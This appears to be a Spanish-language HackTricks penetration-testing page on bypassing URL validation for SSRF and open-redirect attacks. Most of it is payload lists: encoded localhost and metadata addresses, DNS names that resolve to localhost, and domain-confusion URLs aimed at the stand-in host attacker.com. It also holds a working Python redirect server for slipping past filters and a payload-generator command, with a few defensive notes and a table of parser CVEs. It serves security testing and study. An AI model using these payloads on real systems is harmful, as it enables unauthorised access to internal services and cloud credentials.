URL Format Bypass

Reading time: 10 minutes

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Localhost

bash
# Localhost
0 # Yes, just 0 is localhost in Linuc
http://127.0.0.1:80
http://127.0.0.1:443
http://127.0.0.1:22
http://127.1:80
http://127.000000000000000.1
http://0
http:@0/ --> http://localhost/
http://0.0.0.0:80
http://localhost:80
http://[::]:80/
http://[::]:25/ SMTP
http://[::]:3128/ Squid
http://[0000::1]:80/
http://[0:0:0:0:0:ffff:127.0.0.1]/thefile
http://①②⑦.⓪.⓪.⓪

# CDIR bypass
http://127.127.127.127
http://127.0.1.3
http://127.0.0.0

# Dot bypass
127。0。0。1
127%E3%80%820%E3%80%820%E3%80%821

# Decimal bypass
http://2130706433/ = http://127.0.0.1
http://3232235521/ = http://192.168.0.1
http://3232235777/ = http://192.168.1.1

# Octal Bypass
http://0177.0000.0000.0001
http://00000177.00000000.00000000.00000001
http://017700000001

# Hexadecimal bypass
127.0.0.1 = 0x7f 00 00 01
http://0x7f000001/ = http://127.0.0.1
http://0xc0a80014/ = http://192.168.0.20
0x7f.0x00.0x00.0x01
0x0000007f.0x00000000.0x00000000.0x00000001

# Mixed encodings bypass
169.254.43518 -> Partial Decimal (Class B) format combines the third and fourth parts of the IP address into a decimal number
0xA9.254.0251.0376 -> hexadecimal, decimal and octal

# Add 0s bypass
127.000000000000.1

# You can also mix different encoding formats
# https://www.silisoftware.com/tools/ipconverter.php

# Malformed and rare
localhost:+11211aaa
localhost:00011211aaaa
http://0/
http://127.1
http://127.0.1

# DNS to localhost
localtest.me = 127.0.0.1
customer1.app.localhost.my.company.127.0.0.1.nip.io = 127.0.0.1
mail.ebc.apple.com = 127.0.0.6 (localhost)
127.0.0.1.nip.io = 127.0.0.1 (Resolves to the given IP)
www.example.com.customlookup.www.google.com.endcustom.sentinel.pentesting.us = Resolves to www.google.com
http://customer1.app.localhost.my.company.127.0.0.1.nip.io
http://bugbounty.dod.network = 127.0.0.2 (localhost)
1ynrnhl.xip.io == 169.254.169.254
spoofed.burpcollaborator.net = 127.0.0.1

La extensión de Burp Burp-Encode-IP implementa bypasses de formato de IP.

Analizador de Dominio

bash
https:attacker.com
https:/attacker.com
http:/\/\attacker.com
https:/\attacker.com
//attacker.com
\/\/attacker.com/
/\/attacker.com/
/attacker.com
%0D%0A/attacker.com
#attacker.com
#%20@attacker.com
@attacker.com
http://169.254.1698.254\@attacker.com
attacker%00.com
attacker%E3%80%82com
attacker。com
ⒶⓉⓉⒶⒸⓀⒺⓡ.Ⓒⓞⓜ
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾
⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗
⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰
⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ
Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ
ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿

Confusión de Dominio

bash
# Try also to change attacker.com for 127.0.0.1 to try to access localhost
# Try replacing https by http
# Try URL-encoded characters
https://{domain}@attacker.com
https://{domain}.attacker.com
https://{domain}%6D@attacker.com
https://attacker.com/{domain}
https://attacker.com/?d={domain}
https://attacker.com#{domain}
https://attacker.com@{domain}
https://attacker.com#@{domain}
https://attacker.com%23@{domain}
https://attacker.com%00{domain}
https://attacker.com%0A{domain}
https://attacker.com?{domain}
https://attacker.com///{domain}
https://attacker.com\{domain}/
https://attacker.com;https://{domain}
https://attacker.com\{domain}/
https://attacker.com\.{domain}
https://attacker.com/.{domain}
https://attacker.com\@@{domain}
https://attacker.com:\@@{domain}
https://attacker.com#\@{domain}
https://attacker.com\anything@{domain}/
https://www.victim.com(\u2044)some(\u2044)path(\u2044)(\u0294)some=param(\uff03)hash@attacker.com

# On each IP position try to put 1 attackers domain and the others the victim domain
http://1.1.1.1 &@2.2.2.2# @3.3.3.3/

#Parameter pollution
next={domain}&next=attacker.com

Bypass de Rutas y Extensiones

Si se requiere que la URL termine en una ruta o una extensión, o que contenga una ruta, puedes intentar uno de los siguientes bypasses:

https://metadata/vulerable/path#/expected/path
https://metadata/vulerable/path#.extension
https://metadata/expected/path/..%2f..%2f/vulnerable/path

Fuzzing

La herramienta recollapse puede generar variaciones a partir de una entrada dada para intentar eludir la expresión regular utilizada. Consulta esta publicación también para más información.

Listas de palabras personalizadas automáticas

Consulta la hoja de trucos para eludir la validación de URL de portswigger donde puedes introducir el host permitido y el del atacante, y generará una lista de URLs para que pruebes. También considera si puedes usar la URL en un parámetro, en un encabezado Host o en un encabezado CORS.

URL validation bypass cheat sheet for SSRF/CORS/Redirect - 2024 Edition | Web Security Academy

Bypass a través de redirección

Puede ser posible que el servidor esté filtrando la solicitud original de un SSRF pero no una posible respuesta de redirección a esa solicitud.
Por ejemplo, un servidor vulnerable a SSRF a través de: url=https://www.google.com/ podría estar filtrando el parámetro url. Pero si usas un servidor python para responder con un 302 al lugar donde deseas redirigir, podrías ser capaz de acceder a direcciones IP filtradas como 127.0.0.1 o incluso a protocolos filtrados como gopher.
Consulta este informe.

python
#!/usr/bin/env python3

#python3 ./redirector.py 8000 http://127.0.0.1/

import sys
from http.server import HTTPServer, BaseHTTPRequestHandler

if len(sys.argv)-1 != 2:
print("Usage: {} <port_number> <url>".format(sys.argv[0]))
sys.exit()

class Redirect(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(302)
self.send_header('Location', sys.argv[2])
self.end_headers()

HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()

Tricks Explicados

Truco de barra invertida

El truco de barra invertida explota una diferencia entre el WHATWG URL Standard y RFC3986. Mientras que RFC3986 es un marco general para URIs, WHATWG es específico para URLs web y es adoptado por navegadores modernos. La distinción clave radica en el reconocimiento de la barra invertida (\) por parte del estándar WHATWG como equivalente a la barra diagonal (/), lo que impacta cómo se analizan las URLs, marcando específicamente la transición del nombre de host al camino en una URL.

https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec_difference.jpg

Corchete cuadrado izquierdo

El carácter “corchete cuadrado izquierdo” [ en el segmento de información del usuario puede hacer que el UriComponentsBuilder de Spring devuelva un valor de nombre de host que difiere de los navegadores: https://example.com[@attacker.com

Otras Confusiones

https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/

imagen de https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/

Truco del Identificador de Zona IPv6 (%25)

Los analizadores de URL modernos que soportan RFC 6874 permiten que las direcciones IPv6 link-local incluyan un identificador de zona después de un signo de porcentaje. Algunos filtros de seguridad no son conscientes de esta sintaxis y solo eliminarán literales IPv6 entre corchetes, permitiendo que la siguiente carga útil alcance una interfaz interna:

text
http://[fe80::1%25eth0]/          # %25 = encoded '%', interpreted as fe80::1%eth0
http://[fe80::a9ff:fe00:1%25en0]/ # Another example (macOS style)

Si la aplicación objetivo valida que el host no es fe80::1 pero deja de analizar en el %, puede tratar incorrectamente la solicitud como externa. Siempre normaliza la dirección antes de cualquier decisión de seguridad o elimina completamente el identificador de zona opcional.

CVEs recientes de análisis de bibliotecas (2022–2025)

Varios frameworks principales han sufrido problemas de desajuste de nombres de host que pueden ser explotados para SSRF una vez que la validación de URL ha sido eludida con los trucos mencionados anteriormente:

AñoCVEComponenteSinopsis del errorPoC mínima
2024CVE-2024-22243 / ‑22262Spring UriComponentsBuilder[ no está permitido en la sección userinfo, por lo que https://example.com\[@internal es analizado como host example.com por Spring pero como internal por los navegadores, lo que permite redirección abierta y SSRF cuando se utilizan listas de permitidos de host. Actualiza a Spring 5.3.34 / 6.0.19 / 6.1.6+.
2023CVE-2023-27592urllib3 <1.26.15La confusión de la barra invertida permitió que http://example.com\\@169.254.169.254/ eludiera los filtros de host que se dividen en @.
2022CVE-2022-3602OpenSSLLa verificación del nombre de host se omitió cuando el nombre tiene un sufijo . (confusión de dominio sin punto).

Cuando dependas de analizadores de URL de terceros, compara el host canónico devuelto por la biblioteca en la que confías con la cadena sin procesar proporcionada por el usuario para detectar estas clases de problemas.

Ayudantes de generación de payloads (2024+)

Crear grandes listas de palabras personalizadas a mano es engorroso. La herramienta de código abierto SSRF-PayloadMaker (Python 3) ahora puede generar automáticamente 80 k+ combinaciones de manipulación de host, incluyendo codificaciones mixtas, degradación forzada de HTTP y variantes de barra invertida:

bash
# Generate every known bypass that transforms the allowed host example.com to attacker.com
python3 ssrf_maker.py --allowed example.com --attacker attacker.com -A -o payloads.txt

La lista resultante se puede alimentar directamente en Burp Intruder o ffuf.

Referencias

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks